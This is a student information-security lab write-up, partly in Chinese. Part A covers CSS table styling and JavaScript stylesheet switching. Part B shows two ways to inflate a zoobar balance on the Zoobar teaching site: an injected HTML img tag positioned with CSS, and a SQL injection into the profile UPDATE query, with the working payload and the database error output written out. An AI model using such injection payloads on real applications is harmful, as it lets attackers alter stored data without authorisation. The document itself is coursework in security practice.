信息安全实践-Lab2 CSS

Part A. CSS学习

1、Project Requirements

The content should be described in a single HTML file, using a

element to display the main table.
There may not be any formatting information in the HTML file: it must all be in the CSS files (class and id attributes are allowed in HTML; these don’t specify formatting directly).
The appearance must be generated entirely with CSS style information; you may not use images for this project.
The only change that should be required to switch from version A to version B is to change the element in the header to refer to a different CSS file.
Try to duplicate the appearance in the images above exactly (“pixel perfect”).
For example:

Some of the columns should be centered whereas others are left-justified. The “Total” line appears only in version B (hint: you may find the display attribute useful in producing this effect).
The title in the browser title bar should read “CS 142 Project 1”.
Both versions use the Tahoma font in a 13-pixel size. The background color for the header row in version A is #687291.
The background colors for the body rows in version A are #eeeff2 and #dfe1e7.
The white lines between rows in version A are 1 pixel wide.
The color for the frame around version B is #d0d0ff. The frame in version B is 10 pixels wide; there are 20 pixels of empty space on either side of the frame.
The horizontal rule above the “Total” line in version B is 2 pixels wide.
Match the paddings and spacings as closely as possible.

2、参照样式

3、成果演示

style1

style2

style2_3

style1_3

4、相关代码

本文中采用了三套样式，p2a.css、p2b.css对应实验要求的CSS，p2c.css则是采用了模仿Bootstrap table的样式。

核心代码如下，通过javascript对DOM对象进行操作

<link href="p2a.css" rel="stylesheet" type="text/css" id="css">
<script type="text/javascript">
    var addFlag = false
    function change(a) {
        var css = document.getElementById("css");
        if (a == 1){
            css.setAttribute("href", "p2a.css");
            if (addFlag) {
                addFlag = false;
                var parNode=document.getElementById("table1");
                parNode.deleteRow(6);//从表中删除第三行tr
            }
        }
        if (a == 2){
            css.setAttribute("href", "p2b.css");
            if (!addFlag) {
                addFlag = true;
                var parNode = document.getElementById("table1"); //定位到table上
                numColumn = 0, priceColumn = 0;
                // 从第二行开始循环，认为第一行为标题行
                for (var i = 1; i < parNode.rows.length; i++) {
                    // 这里认为单元格内的第一个元素就是数值文本，未作有效性检查
                    numColumn += Number( parNode.rows[i].cells[4].innerHTML ) || 0;
                    priceColumn += Number( parNode.rows[i].cells[5].innerHTML ) || 0;
                    console.log("numColumn:"+numColumn);
                    console.log("priceColumn:"+priceColumn);
                }
                tr=parNode.insertRow();
                tr.insertCell().innerHTML="Total";
                tr.insertCell().innerHTML="";
                tr.insertCell().innerHTML="";
                tr.insertCell().innerHTML="";
                tr.insertCell().innerHTML=numColumn;//9
                parNode.rows[6].cells[4].className="td_center"//添加样式，或者采用.setAttribute("class","样式名称");
                tr.insertCell().innerHTML=priceColumn;//14.68
                parNode.rows[6].cells[5].className="td_center"
            }
        }
        if (a == 3) {
            css.setAttribute("href", "p2c.css");
        }
    }
</script>

Part B. Zoobar网站寻找Profile的漏洞

Write your profile in the zoobar website, make your zoobars appear more than you really own. That is, after you modify your profile, when others or yourself look up your profile, they will see more zoobars than you actually own.

方法一、利用CSS

1、插入IMG

在输入profile的textarea输入：

<img src="http://upload-images.jianshu.io/upload_images/688387-7e4ba3815c40a62e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" style="position:relative;top:-59px;right:-70px;width:34px;height:21px"/>

2、在Users中输入用户名“xl”，查看Profile

3、F12，定位到插入IMG，调节相应的CSS，修改后如下

方法二、sql注入

1、查看源码，发现在处理$profile参数时，没有进行防止sql注入的相应的过滤。

    $sql = "UPDATE Person SET Profile='$profile' ".
           "WHERE PersonID=$user->id";

2、判断存在sql注入的问题，构造如下字符串：

hello', Zoobars=1000

报错：

    <table align="center" border="1" cellspacing="0" style="background:white;color:black;width:80%;">
        <tr><th colspan=2>Database Error</th></tr>
        <tr><td align="right" valign="top">Message:</td><td><b>MySQL Query fail:</b> UPDATE Person SET Profile='hello', Zoobars=1000' WHERE PersonID=1</td></tr>
        <tr><td align="right" valign="top" nowrap>MySQL Error:</td><td>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' WHERE PersonID=1' at line 1</td></tr>       <tr><td align="right">Date:</td><td>Thursday, December 14, 2017 at 2:44:36 AM</td></tr>
        <tr><td align="right">Script:</td><td><a href="/index.php">/index.php</a></td></tr>     <tr><td align="right">Referer:</td><td><a href="https://localhost/index.php">https://localhost/index.php</a></td></tr>      </table>
    hello

3、分析错误发现第二个‘没有与之匹配，再次修改为如下字串：

', Zoobars=1000, Profile='hello

4、sql注入成功，使得zoobars变为1000